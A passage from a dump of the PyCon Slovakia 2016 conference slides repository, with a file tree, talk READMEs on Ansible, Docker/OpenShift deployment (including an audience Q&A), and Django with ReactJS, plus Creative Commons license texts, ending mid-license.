├── Automating_Distributed_Tasks_with_Ansible ├── Automating_Distrbtd_tasks.pdf └── README.md ├── Automatizacia_Merani_Pomocou_Pythonu ├── Automatizacia_Merani_Pomocou_Pythonu.pdf └── README.md ├── Containerizing_Python_Apps └── README.md ├── Django_and_ReactJS ├── DjangoAndReactJS.pdf ├── LICENSE └── README.md ├── Jak_Funguje_Import ├── LICENSE ├── README.md └── jak-funguje-import.pdf ├── Jupyter_Notebook └── README.md ├── LightningTalk_Blinkys_Async_Adventure ├── LICENSE.CC-BY-SA ├── LICENSE.MIT ├── README.md └── presentation │ ├── 01-single.py │ ├── 02-threading.py │ ├── 03-uh-oh.py │ ├── 04-callback.py │ ├── 05-asyncio.py │ └── script ├── LightningTalk_PythonRC ├── Ondrej_Sika__PythonRC__slides.pdf └── README.md ├── Mashing_up_py.test_coverage.py_and_ast.py_to_take_TDD_to_a_new_level ├── PyconSK testmon.pdf └── README.md ├── My_Awesome_PyConSK_Presentation ├── LICENSE ├── MyAwesomePyConSKPresentation.pdf └── README.md ├── Protocol_Libraries_The_Right_Way ├── LICENSE ├── Protocol Libraries The Right Way.pdf └── README.md ├── Python_What_You_Didnt_Know └── README.md ├── Python_a_Malware ├── README.md ├── hids.py ├── matkovski_python_mallware_v03.pdf └── snippets.py ├── Python_and_DTrace ├── DTrace - pyconSK.pdf └── README.md ├── README.md ├── Scientific_Computing_with_Python └── README.md ├── Teach_Learn_Program └── README.md ├── Tips_And_Tricks_For_Using_Functional_Features_Of_Python ├── LICENSE ├── README.md └── Tips_And_Tricks_For_Using_Functional_Features_Of_Python.pdf └── Vagrant_end_of_It_works_on_my_machine_saga ├── LICENSE ├── README.md └── VAgrant_for_developers.pdf /Automating_Distributed_Tasks_with_Ansible/Automating_Distrbtd_tasks.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pyconsk/2016-slides/497ccee07341d14632d12aff62ff75d9ca871630/Automating_Distributed_Tasks_with_Ansible/Automating_Distrbtd_tasks.pdf -------------------------------------------------------------------------------- /Automating_Distributed_Tasks_with_Ansible/README.md: -------------------------------------------------------------------------------- 1 | # Automating Distributined Tasks with Ansible in the Cloud 2 | ## Busra Koken 3 | 4 | In this talk, I made a presentation about how to automate distributed tasks with Ansible in the Cloud. I showed a case study that covers: 5 | 6 | - creating a Hadoop cluster in the cloud - digitalocean 7 | - running a Big Data job on the Hadoop cluster 8 | - destroying the cluster 9 | 10 | All above is done with Ansible remotely. 11 | 12 | You can find the project that does the job on Github [here]. 13 | 14 | You can contact me via email busrakoken@gmail.com or [@busrakoken]. 15 | 16 | 17 | [here]: 18 | [@busrakoken]: 19 | -------------------------------------------------------------------------------- /Automatizacia_Merani_Pomocou_Pythonu/Automatizacia_Merani_Pomocou_Pythonu.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pyconsk/2016-slides/497ccee07341d14632d12aff62ff75d9ca871630/Automatizacia_Merani_Pomocou_Pythonu/Automatizacia_Merani_Pomocou_Pythonu.pdf -------------------------------------------------------------------------------- /Automatizacia_Merani_Pomocou_Pythonu/README.md: -------------------------------------------------------------------------------- 1 | # Automatizácia meraní pomocou Pythonu 2 | ## Matúš Rehák 3 | 4 | Contact me at matus.rehak@gmail.com 5 | -------------------------------------------------------------------------------- /Containerizing_Python_Apps/README.md: -------------------------------------------------------------------------------- 1 | # Building and Deploying containerized Python Apps in the Cloud 2 | 3 | From simple blogs and monolith Django web apps, up to sophisticated micro 4 | service architectures, is your product ready to leverage the opportunities 5 | brought by the new tools out there? 6 | 7 | In this talk I show how to package Python applications as ready-to-use Docker 8 | containers, and how to deploy and manage them in your own private cloud with 9 | [OpenShift](https://github.com/openshift/origin). 10 | 11 | 12 | ## What's the take away? 13 | 14 | - How to create Docker images using a Dockerfile 15 | - Creating images with the 16 | [Source-to-Image](https://github.com/openshift/source-to-image) tool 17 | - Wiring multiple components together 18 | 19 | 20 | ## Slides 21 | 22 | http://www.slideshare.net/rhcarvalho/building-and-deploying-containerized-python-apps-in-the-cloud 23 | 24 | ## Demo 25 | 26 | Code used during the live demo: 27 | https://github.com/rhcarvalho/pycon-sk-2016-demo 28 | 29 | ## Q&A 30 | 31 | Questions asked during the talk, submitted via [sli.do](https://sli.do): 32 | 33 | 3/12/16 2:34 PM | score: 4 34 | **Q**: Could you compare docker based approach vs. using NixOS? 35 | **A**: Docker is not an operating system, it's a tool to run on top of an OS. 36 | If we make the comparison between some form of virtualization versus bare metal, 37 | the answer is it depends on what you're doing. Likely, you'll benefit from both: 38 | they're complementary technologies. For containers, you're normally looking at 39 | better utilization of resources, faster provisioning, isolation of application 40 | components, etc. 41 | There are better comparisons out there in the Internet. One interesting talk 42 | comparing containers, virtual machines and bare metal: "Containers vs. 43 | virtualization: The new Cold War?" 44 | [video](https://www.youtube.com/watch?v=HsqtHT8auxg), 45 | [slides](http://videos.cdn.redhat.com/summit2015/presentations/12023_containers-versus-virtualization.pdf). 46 | 47 | 3/12/16 2:24 PM | score: 2 48 | **Q**: How to "hot-swap" one docker by newer one (correctly)? 49 | **A**: To replace a running container based on image "foo/v1" with a new 50 | container based on image "foo/v2", there are different deployment strategies. 51 | In OpenShift, the supported strategies are documented 52 | [here](https://docs.openshift.org/latest/dev_guide/deployments.html#strategies). 53 | 54 | 3/12/16 2:23 PM | score: 2 55 | **Q**: Should be docker image immutable? Or is it secure to upgrade it by 56 | some inner upgrade? Or should it be as the last layer in regular 57 | test/deploy/deliver step? 58 | **A**: An image itself is immutable. Running something like `yum update` creates 59 | a new layer, and that's technically a new image. You can, however, tag it with 60 | the same tag as your previous image, giving a feel of mutation. 61 | In most cases, it's more efficient to rebuild images when a parent image change, 62 | for example to include security updates, rather than running some update command 63 | on every derived image. 64 | OpenShift makes it easy to implement that flow through [image change 65 | triggers](https://docs.openshift.org/latest/dev_guide/builds.html#image-change-triggers). 66 | 67 | 3/12/16 2:20 PM | score: 3 68 | **Q**: When using docker for development, is there any way to start python 69 | debugger (pdb, ipython, bpython) inside docker container and debug 70 | from within docker? 71 | **A**: Yes, use [`docker run`](https://docs.docker.com/engine/reference/run/) 72 | and [`docker exec`](https://docs.docker.com/engine/reference/commandline/exec/) 73 | to run your Python programs interactively. 74 | For example, to open an IPython session in a new ephemeral (because of `--rm`) 75 | container: 76 | ```console 77 | $ docker run --rm -it python:3.5 bash -c 'pip install ipython && ipython' 78 | ... 79 | Python 3.5.1 (default, Mar 9 2016, 03:30:07) 80 | Type "copyright", "credits" or "license" for more information. 81 | 82 | IPython 4.1.2 -- An enhanced Interactive Python. 83 | ? -> Introduction and overview of IPython's features. 84 | %quickref -> Quick reference. 85 | help -> Python's own help system. 86 | object? -> Details about 'object', use 'object??' for extra details. 87 | 88 | In [1]: 89 | ``` 90 | To get your code mounted from the host to the container, use the `--volume` flag 91 | when starting the container with `docker run`. Consult the documentation for 92 | details on how to use it. 93 | With OpenShift, the [Web 94 | Console](https://docs.openshift.org/latest/architecture/infrastructure_components/web_console.html) 95 | makes it really easy to run commands in a live container directly from your Web 96 | browser. 97 | 98 | 3/12/16 2:19 PM | score: 3 99 | **Q**: Is s2i creating the Dockerfile for me? 100 | **A**: It doesn't create Dockerfiles, instead it goes further and creates Docker 101 | images. 102 | 103 | 3/12/16 2:10 PM | score: 13 104 | **Q**: does it make sense to use virtualenv inside docker? 105 | **A**: Yes, it does. A good explanation about this topic can be found 106 | [here](http://blog.dscpl.com.au/2016/01/python-virtual-environments-and-docker.html). 107 | 108 | 3/12/16 2:09 PM | score: 6 109 | **Q**: How would you run "django-admin.py upgrade" in your container? (or 110 | just run some other manually ran management commands) 111 | **A**: If you're using just Docker, `docker exec`. If using OpenShift to manage 112 | your containers, then there's a similar command `oc exec`. There's also `oc rsh` 113 | to start a remote shell in the container, so you can run arbitrary commands 114 | interactively. There's also a remote shell in the Web Console, so you can run 115 | commands in your container straight from your Web browser. 116 | 117 | 3/12/16 2:07 PM | score: 8 118 | **Q**: What about security? If you are using image from dockerhub you can't 119 | be sure about it. it's good for production usage? 120 | **A**: Security requirements vary a lot. The [OpenShift 121 | documentation](https://docs.openshift.org/latest/welcome/index.html) has more 122 | information about [container and platform 123 | security](https://docs.openshift.org/latest/install_config/install/prerequisites.html#security-warning). 124 | 125 | 3/12/16 2:07 PM | score: 7 126 | **Q**: Are there any practical differences between Docker and the other 127 | containerization technologies (OpenVZ, ..), or is it just about the 128 | 'cool factor'? 129 | **A**: Docker is not the first container technology, but it's the current 130 | industry standard for container image format and distribution. 131 | 132 | 3/12/16 2:06 PM | score: 7 133 | **Q**: can you tell us what is special about OpenShift compared to other similar 134 | tools? 135 | **A**: OpenShift is optimized for continuous application development and 136 | multi-tenant deployment. It adds developer and operations-centric tools on 137 | top of [Kubernetes](https://k8s.io) to enable rapid application development, 138 | easy deployment and scaling, and long-term lifecycle maintenance for small and 139 | large teams. More information about features and architecture can be found in 140 | [the project's 141 | README](https://github.com/openshift/origin#openshift-application-platform). 142 | 143 | 3/12/16 2:05 PM | score: 8 144 | **Q**: You told "python:3.5" is "official Python image'. Was it packaged by 145 | Python people || Docker poeple || some random guy? Who will take care 146 | of Python upgrade? 147 | **A**: It is packaged by Docker, Inc. It comes from this 148 | [repository](https://github.com/docker-library/python). 149 | 150 | 3/12/16 1:56 PM | score: 7 151 | **Q**: What is biggest business advantage of using docker ? 152 | **A**: There are 153 | [several](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/7.0_Release_Notes/sect-Red_Hat_Enterprise_Linux-7.0_Release_Notes-Linux_Containers_with_Docker_Format-Advantages_of_Using_Docker.html). 154 | -------------------------------------------------------------------------------- /Django_and_ReactJS/DjangoAndReactJS.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pyconsk/2016-slides/497ccee07341d14632d12aff62ff75d9ca871630/Django_and_ReactJS/DjangoAndReactJS.pdf -------------------------------------------------------------------------------- /Django_and_ReactJS/LICENSE: -------------------------------------------------------------------------------- 1 | 2 | 3 | Attribution 4.0 International 4 | 5 | ======================================================================= 6 | 7 | Creative Commons Corporation ("Creative Commons") is not a law firm and 8 | does not provide legal services or legal advice. Distribution of 9 | Creative Commons public licenses does not create a lawyer-client or 10 | other relationship. Creative Commons makes its licenses and related 11 | information available on an "as-is" basis. Creative Commons gives no 12 | warranties regarding its licenses, any material licensed under their 13 | terms and conditions, or any related information. Creative Commons 14 | disclaims all liability for damages resulting from their use to the 15 | fullest extent possible. 16 | 17 | Using Creative Commons Public Licenses 18 | 19 | Creative Commons public licenses provide a standard set of terms and 20 | conditions that creators and other rights holders may use to share 21 | original works of authorship and other material subject to copyright 22 | and certain other rights specified in the public license below. The 23 | following considerations are for informational purposes only, are not 24 | exhaustive, and do not form part of our licenses. 25 | 26 | Considerations for licensors: Our public licenses are 27 | intended for use by those authorized to give the public 28 | permission to use material in ways otherwise restricted by 29 | copyright and certain other rights. Our licenses are 30 | irrevocable. Licensors should read and understand the terms 31 | and conditions of the license they choose before applying it. 32 | Licensors should also secure all rights necessary before 33 | applying our licenses so that the public can reuse the 34 | material as expected. Licensors should clearly mark any 35 | material not subject to the license. This includes other CC- 36 | licensed material, or material used under an exception or 37 | limitation to copyright. More considerations for licensors: 38 | wiki.creativecommons.org/Considerations_for_licensors 39 | 40 | Considerations for the public: By using one of our public 41 | licenses, a licensor grants the public permission to use the 42 | licensed material under specified terms and conditions. If 43 | the licensor's permission is not necessary for any reason--for 44 | example, because of any applicable exception or limitation to 45 | copyright--then that use is not regulated by the license. Our 46 | licenses grant only permissions under copyright and certain 47 | other rights that a licensor has authority to grant. Use of 48 | the licensed material may still be restricted for other 49 | reasons, including because others have copyright or other 50 | rights in the material. A licensor may make special requests, 51 | such as asking that all changes be marked or described. 52 | Although not required by our licenses, you are encouraged to 53 | respect those requests where reasonable. More_considerations 54 | for the public: 55 | wiki.creativecommons.org/Considerations_for_licensees 56 | 57 | ======================================================================= 58 | 59 | Creative Commons Attribution 4.0 International Public License 60 | 61 | By exercising the Licensed Rights (defined below), You accept and agree 62 | to be bound by the terms and conditions of this Creative Commons 63 | Attribution 4.0 International Public License ("Public License"). To the 64 | extent this Public License may be interpreted as a contract, You are 65 | granted the Licensed Rights in consideration of Your acceptance of 66 | these terms and conditions, and the Licensor grants You such rights in 67 | consideration of benefits the Licensor receives from making the 68 | Licensed Material available under these terms and conditions. 69 | 70 | 71 | Section 1 -- Definitions. 72 | 73 | a. Adapted Material means material subject to Copyright and Similar 74 | Rights that is derived from or based upon the Licensed Material 75 | and in which the Licensed Material is translated, altered, 76 | arranged, transformed, or otherwise modified in a manner requiring 77 | permission under the Copyright and Similar Rights held by the 78 | Licensor. For purposes of this Public License, where the Licensed 79 | Material is a musical work, performance, or sound recording, 80 | Adapted Material is always produced where the Licensed Material is 81 | synched in timed relation with a moving image. 82 | 83 | b. Adapter's License means the license You apply to Your Copyright 84 | and Similar Rights in Your contributions to Adapted Material in 85 | accordance with the terms and conditions of this Public License. 86 | 87 | c. Copyright and Similar Rights means copyright and/or similar rights 88 | closely related to copyright including, without limitation, 89 | performance, broadcast, sound recording, and Sui Generis Database 90 | Rights, without regard to how the rights are labeled or 91 | categorized. For purposes of this Public License, the rights 92 | specified in Section 2(b)(1)-(2) are not Copyright and Similar 93 | Rights. 94 | 95 | d. Effective Technological Measures means those measures that, in the 96 | absence of proper authority, may not be circumvented under laws 97 | fulfilling obligations under Article 11 of the WIPO Copyright 98 | Treaty adopted on December 20, 1996, and/or similar international 99 | agreements. 100 | 101 | e. Exceptions and Limitations means fair use, fair dealing, and/or 102 | any other exception or limitation to Copyright and Similar Rights 103 | that applies to Your use of the Licensed Material. 104 | 105 | f. Licensed Material means the artistic or literary work, database, 106 | or other material to which the Licensor applied this Public 107 | License. 108 | 109 | g. Licensed Rights means the rights granted to You subject to the 110 | terms and conditions of this Public License, which are limited to 111 | all Copyright and Similar Rights that apply to Your use of the 112 | Licensed Material and that the Licensor has authority to license. 113 | 114 | h. Licensor means the individual(s) or entity(ies) granting rights 115 | under this Public License. 116 | 117 | i. Share means to provide material to the public by any means or 118 | process that requires permission under the Licensed Rights, such 119 | as reproduction, public display, public performance, distribution, 120 | dissemination, communication, or importation, and to make material 121 | available to the public including in ways that members of the 122 | public may access the material from a place and at a time 123 | individually chosen by them. 124 | 125 | j. Sui Generis Database Rights means rights other than copyright 126 | resulting from Directive 96/9/EC of the European Parliament and of 127 | the Council of 11 March 1996 on the legal protection of databases, 128 | as amended and/or succeeded, as well as other essentially 129 | equivalent rights anywhere in the world. 130 | 131 | k. You means the individual or entity exercising the Licensed Rights 132 | under this Public License. Your has a corresponding meaning. 133 | 134 | 135 | Section 2 -- Scope. 136 | 137 | a. License grant. 138 | 139 | 1. Subject to the terms and conditions of this Public License, 140 | the Licensor hereby grants You a worldwide, royalty-free, 141 | non-sublicensable, non-exclusive, irrevocable license to 142 | exercise the Licensed Rights in the Licensed Material to: 143 | 144 | a. reproduce and Share the Licensed Material, in whole or 145 | in part; and 146 | 147 | b. produce, reproduce, and Share Adapted Material. 148 | 149 | 2. Exceptions and Limitations. For the avoidance of doubt, where 150 | Exceptions and Limitations apply to Your use, this Public 151 | License does not apply, and You do not need to comply with 152 | its terms and conditions. 153 | 154 | 3. Term. The term of this Public License is specified in Section 155 | 6(a). 156 | 157 | 4. Media and formats; technical modifications allowed. The 158 | Licensor authorizes You to exercise the Licensed Rights in 159 | all media and formats whether now known or hereafter created, 160 | and to make technical modifications necessary to do so. The 161 | Licensor waives and/or agrees not to assert any right or 162 | authority to forbid You from making technical modifications 163 | necessary to exercise the Licensed Rights, including 164 | technical modifications necessary to circumvent Effective 165 | Technological Measures. For purposes of this Public License, 166 | simply making modifications authorized by this Section 2(a) 167 | (4) never produces Adapted Material. 168 | 169 | 5. Downstream recipients. 170 | 171 | a. Offer from the Licensor -- Licensed Material. Every 172 | recipient of the Licensed Material automatically 173 | receives an offer from the Licensor to exercise the 174 | Licensed Rights under the terms and conditions of this 175 | Public License. 176 | 177 | b. No downstream restrictions. You may not offer or impose 178 | any additional or different terms or conditions on, or 179 | apply any Effective Technological Measures to, the 180 | Licensed Material if doing so restricts exercise of the 181 | Licensed Rights by any recipient of the Licensed 182 | Material. 183 | 184 | 6. No endorsement. Nothing in this Public License constitutes or 185 | may be construed as permission to assert or imply that You 186 | are, or that Your use of the Licensed Material is, connected 187 | with, or sponsored, endorsed, or granted official status by, 188 | the Licensor or others designated to receive attribution as 189 | provided in Section 3(a)(1)(A)(i). 190 | 191 | b. Other rights. 192 | 193 | 1. Moral rights, such as the right of integrity, are not 194 | licensed under this Public License, nor are publicity, 195 | privacy, and/or other similar personality rights; however, to 196 | the extent possible, the Licensor waives and/or agrees not to 197 | assert any such rights held by the Licensor to the limited 198 | extent necessary to allow You to exercise the Licensed 199 | Rights, but not otherwise. 200 | 201 | 2. Patent and trademark rights are not licensed under this 202 | Public License. 203 | 204 | 3. To the extent possible, the Licensor waives any right to 205 | collect royalties from You for the exercise of the Licensed 206 | Rights, whether directly or through a collecting society 207 | under any voluntary or waivable statutory or compulsory 208 | licensing scheme. In all other cases the Licensor expressly 209 | reserves any right to collect such royalties. 210 | 211 | 212 | Section 3 -- License Conditions. 213 | 214 | Your exercise of the Licensed Rights is expressly made subject to the 215 | following conditions. 216 | 217 | a. Attribution. 218 | 219 | 1. If You Share the Licensed Material (including in modified 220 | form), You must: 221 | 222 | a. retain the following if it is supplied by the Licensor 223 | with the Licensed Material: 224 | 225 | i. identification of the creator(s) of the Licensed 226 | Material and any others designated to receive 227 | attribution, in any reasonable manner requested by 228 | the Licensor (including by pseudonym if 229 | designated); 230 | 231 | ii. a copyright notice; 232 | 233 | iii. a notice that refers to this Public License; 234 | 235 | iv. a notice that refers to the disclaimer of 236 | warranties; 237 | 238 | v. a URI or hyperlink to the Licensed Material to the 239 | extent reasonably practicable; 240 | 241 | b. indicate if You modified the Licensed Material and 242 | retain an indication of any previous modifications; and 243 | 244 | c. indicate the Licensed Material is licensed under this 245 | Public License, and include the text of, or the URI or 246 | hyperlink to, this Public License. 247 | 248 | 2. You may satisfy the conditions in Section 3(a)(1) in any 249 | reasonable manner based on the medium, means, and context in 250 | which You Share the Licensed Material. For example, it may be 251 | reasonable to satisfy the conditions by providing a URI or 252 | hyperlink to a resource that includes the required 253 | information. 254 | 255 | 3. If requested by the Licensor, You must remove any of the 256 | information required by Section 3(a)(1)(A) to the extent 257 | reasonably practicable. 258 | 259 | 4. If You Share Adapted Material You produce, the Adapter's 260 | License You apply must not prevent recipients of the Adapted 261 | Material from complying with this Public License. 262 | 263 | 264 | Section 4 -- Sui Generis Database Rights. 265 | 266 | Where the Licensed Rights include Sui Generis Database Rights that 267 | apply to Your use of the Licensed Material: 268 | 269 | a. for the avoidance of doubt, Section 2(a)(1) grants You the right 270 | to extract, reuse, reproduce, and Share all or a substantial 271 | portion of the contents of the database; 272 | 273 | b. if You include all or a substantial portion of the database 274 | contents in a database in which You have Sui Generis Database 275 | Rights, then the database in which You have Sui Generis Database 276 | Rights (but not its individual contents) is Adapted Material; and 277 | 278 | c. You must comply with the conditions in Section 3(a) if You Share 279 | all or a substantial portion of the contents of the database. 280 | 281 | For the avoidance of doubt, this Section 4 supplements and does not 282 | replace Your obligations under this Public License where the Licensed 283 | Rights include other Copyright and Similar Rights. 284 | 285 | 286 | Section 5 -- Disclaimer of Warranties and Limitation of Liability. 287 | 288 | a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE 289 | EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS 290 | AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF 291 | ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, 292 | IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, 293 | WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR 294 | PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, 295 | ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT 296 | KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT 297 | ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. 298 | 299 | b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE 300 | TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, 301 | NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, 302 | INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, 303 | COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR 304 | USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN 305 | ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR 306 | DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR 307 | IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. 308 | 309 | c. The disclaimer of warranties and limitation of liability provided 310 | above shall be interpreted in a manner that, to the extent 311 | possible, most closely approximates an absolute disclaimer and 312 | waiver of all liability. 313 | 314 | 315 | Section 6 -- Term and Termination. 316 | 317 | a. This Public License applies for the term of the Copyright and 318 | Similar Rights licensed here. However, if You fail to comply with 319 | this Public License, then Your rights under this Public License 320 | terminate automatically. 321 | 322 | b. Where Your right to use the Licensed Material has terminated under 323 | Section 6(a), it reinstates: 324 | 325 | 1. automatically as of the date the violation is cured, provided 326 | it is cured within 30 days of Your discovery of the 327 | violation; or 328 | 329 | 2. upon express reinstatement by the Licensor. 330 | 331 | For the avoidance of doubt, this Section 6(b) does not affect any 332 | right the Licensor may have to seek remedies for Your violations 333 | of this Public License. 334 | 335 | c. For the avoidance of doubt, the Licensor may also offer the 336 | Licensed Material under separate terms or conditions or stop 337 | distributing the Licensed Material at any time; however, doing so 338 | will not terminate this Public License. 339 | 340 | d. Sections 1, 5, 6, 7, and 8 survive termination of this Public 341 | License. 342 | 343 | 344 | Section 7 -- Other Terms and Conditions. 345 | 346 | a. The Licensor shall not be bound by any additional or different 347 | terms or conditions communicated by You unless expressly agreed. 348 | 349 | b. Any arrangements, understandings, or agreements regarding the 350 | Licensed Material not stated herein are separate from and 351 | independent of the terms and conditions of this Public License. 352 | 353 | 354 | Section 8 -- Interpretation. 355 | 356 | a. For the avoidance of doubt, this Public License does not, and 357 | shall not be interpreted to, reduce, limit, restrict, or impose 358 | conditions on any use of the Licensed Material that could lawfully 359 | be made without permission under this Public License. 360 | 361 | b. To the extent possible, if any provision of this Public License is 362 | deemed unenforceable, it shall be automatically reformed to the 363 | minimum extent necessary to make it enforceable. If the provision 364 | cannot be reformed, it shall be severed from this Public License 365 | without affecting the enforceability of the remaining terms and 366 | conditions. 367 | 368 | c. No term or condition of this Public License will be waived and no 369 | failure to comply consented to unless expressly agreed to by the 370 | Licensor. 371 | 372 | d. Nothing in this Public License constitutes or may be interpreted 373 | as a limitation upon, or waiver of, any privileges and immunities 374 | that apply to the Licensor or You, including from the legal 375 | processes of any jurisdiction or authority. 376 | 377 | 378 | ======================================================================= 379 | 380 | Creative Commons is not a party to its public 381 | licenses. Notwithstanding, Creative Commons may elect to apply one of 382 | its public licenses to material it publishes and in those instances 383 | will be considered the “Licensor.” The text of the Creative Commons 384 | public licenses is dedicated to the public domain under the CC0 Public 385 | Domain Dedication. Except for the limited purpose of indicating that 386 | material is shared under a Creative Commons public license or as 387 | otherwise permitted by the Creative Commons policies published at 388 | creativecommons.org/policies, Creative Commons does not authorize the 389 | use of the trademark "Creative Commons" or any other trademark or logo 390 | of Creative Commons without its prior written consent including, 391 | without limitation, in connection with any unauthorized modifications 392 | to any of its public licenses or any other arrangements, 393 | understandings, or agreements concerning use of licensed material. For 394 | the avoidance of doubt, this paragraph does not form part of the 395 | public licenses. 396 | 397 | Creative Commons may be contacted at creativecommons.org. 398 | 399 | 400 | -------------------------------------------------------------------------------- /Django_and_ReactJS/README.md: -------------------------------------------------------------------------------- 1 | # Django and ReactJS 2 | ## Svetlana Margetová 3 | 4 | Contact me at svetlana@margetova.eu or @Mandragora258.
5 | The presentation is available also on Slideshare: http://www.slideshare.net/svetusmargetova/pycon-slovakia-2016
6 | Skeleton code with Django, Django REST framework and ReactJS setup is available on Github: https://github.com/SvetlanaM/Django_and_ReactJS_skeleton 7 | -------------------------------------------------------------------------------- /Jak_Funguje_Import/LICENSE: -------------------------------------------------------------------------------- 1 | Creative Commons Legal Code 2 | 3 | Attribution-ShareAlike 3.0 Unported 4 | 5 | CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE 6 | LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN 7 | ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS 8 | INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES 9 | REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR 10 | DAMAGES RESULTING FROM ITS USE. 11 | 12 | License 13 | 14 | THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE 15 | COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY 16 | COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS 17 | AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED. 18 | 19 | BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE 20 | TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY 21 | BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS 22 | CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND 23 | CONDITIONS. 24 | 25 | 1. Definitions 26 | 27 | a. "Adaptation" means a work based upon the Work, or upon the Work and 28 | other pre-existing works, such as a translation, adaptation, 29 | derivative work, arrangement of music or other alterations of a 30 | literary or artistic work, or phonogram or performance and includes 31 | cinematographic adaptations or any other form in which the Work may be 32 | recast, transformed, or adapted including in any form recognizably 33 | derived from the original, except that a work that constitutes a 34 | Collection will not be considered an Adaptation for the purpose of 35 | this License. For the avoidance of doubt, where the Work is a musical 36 | work, performance or phonogram, the synchronization of the Work in 37 | timed-relation with a moving image ("synching") will be considered an 38 | Adaptation for the purpose of this License. 39 | b. "Collection" means a collection of literary or artistic works, such as 40 | encyclopedias and anthologies, or performances, phonograms or 41 | broadcasts, or other works or subject matter other than works listed 42 | in Section 1(f) below, which, by reason of the selection and 43 | arrangement of their contents, constitute intellectual creations, in 44 | which the Work is included in its entirety in unmodified form along 45 | with one or more other contributions, each constituting separate and 46 | independent works in themselves, which together are assembled into a 47 | collective whole. A work that constitutes a Collection will not be 48 | considered an Adaptation (as defined below) for the purposes of this 49 | License. 50 | c. "Creative Commons Compatible License" means a license that is listed 51 | at https://creativecommons.org/compatiblelicenses that has been 52 | approved by Creative Commons as being essentially equivalent to this 53 | License, including, at a minimum, because that license: (i) contains 54 | terms that have the same purpose, meaning and effect as the License 55 | Elements of this License; and, (ii) explicitly permits the relicensing 56 | of adaptations of works made available under that license under this 57 | License or a Creative Commons jurisdiction license with the same 58 | License Elements as this License. 59 | d. "Distribute" means to make available to the public the original and 60 | copies of the Work or Adaptation, as appropriate, through sale or 61 | other transfer of ownership. 62 | e. "License Elements" means the following high-level license attributes 63 | as selected by Licensor and indicated in the title of this License: 64 | Attribution, ShareAlike. 65 | f. "Licensor" means the individual, individuals, entity or entities that 66 | offer(s) the Work under the terms of this License. 67 | g. "Original Author" means, in the case of a literary or artistic work, 68 | the individual, individuals, entity or entities who created the Work 69 | or if no individual or entity can be identified, the publisher; and in 70 | addition (i) in the case of a performance the actors, singers, 71 | musicians, dancers, and other persons who act, sing, deliver, declaim, 72 | play in, interpret or otherwise perform literary or artistic works or 73 | expressions of folklore; (ii) in the case of a phonogram the producer 74 | being the person or legal entity who first fixes the sounds of a 75 | performance or other sounds; and, (iii) in the case of broadcasts, the 76 | organization that transmits the broadcast. 77 | h. "Work" means the literary and/or artistic work offered under the terms 78 | of this License including without limitation any production in the 79 | literary, scientific and artistic domain, whatever may be the mode or 80 | form of its expression including digital form, such as a book, 81 | pamphlet and other writing; a lecture, address, sermon or other work 82 | of the same nature; a dramatic or dramatico-musical work; a 83 | choreographic work or entertainment in dumb show; a musical 84 | composition with or without words; a cinematographic work to which are 85 | assimilated works expressed by a process analogous to cinematography; 86 | a work of drawing, painting, architecture, sculpture, engraving or 87 | lithography; a photographic work to which are assimilated works 88 | expressed by a process analogous to photography; a work of applied 89 | art; an illustration, map, plan, sketch or three-dimensional work 90 | relative to geography, topography, architecture or science; a 91 | performance; a broadcast; a phonogram; a compilation of data to the 92 | extent it is protected as a copyrightable work; or a work performed by 93 | a variety or circus performer to the extent it is not otherwise 94 | considered a literary or artistic work. 95 | i. "You" means an individual or entity exercising rights under this 96 | License who has not previously violated the terms of this License with 97 | respect to the Work, or who has received express permission from the 98 | Licensor to exercise rights under this License despite a previous 99 | violation. 100 | j. "Publicly Perform" means to perform public recitations of the Work and 101 | to communicate to the public those public recitations, by any means or 102 | process, including by wire or wireless means or public digital 103 | performances; to make available to the public Works in such a way that 104 | members of the public may access these Works from a place and at a 105 | place individually chosen by them; to perform the Work to the public 106 | by any means or process and the communication to the public of the 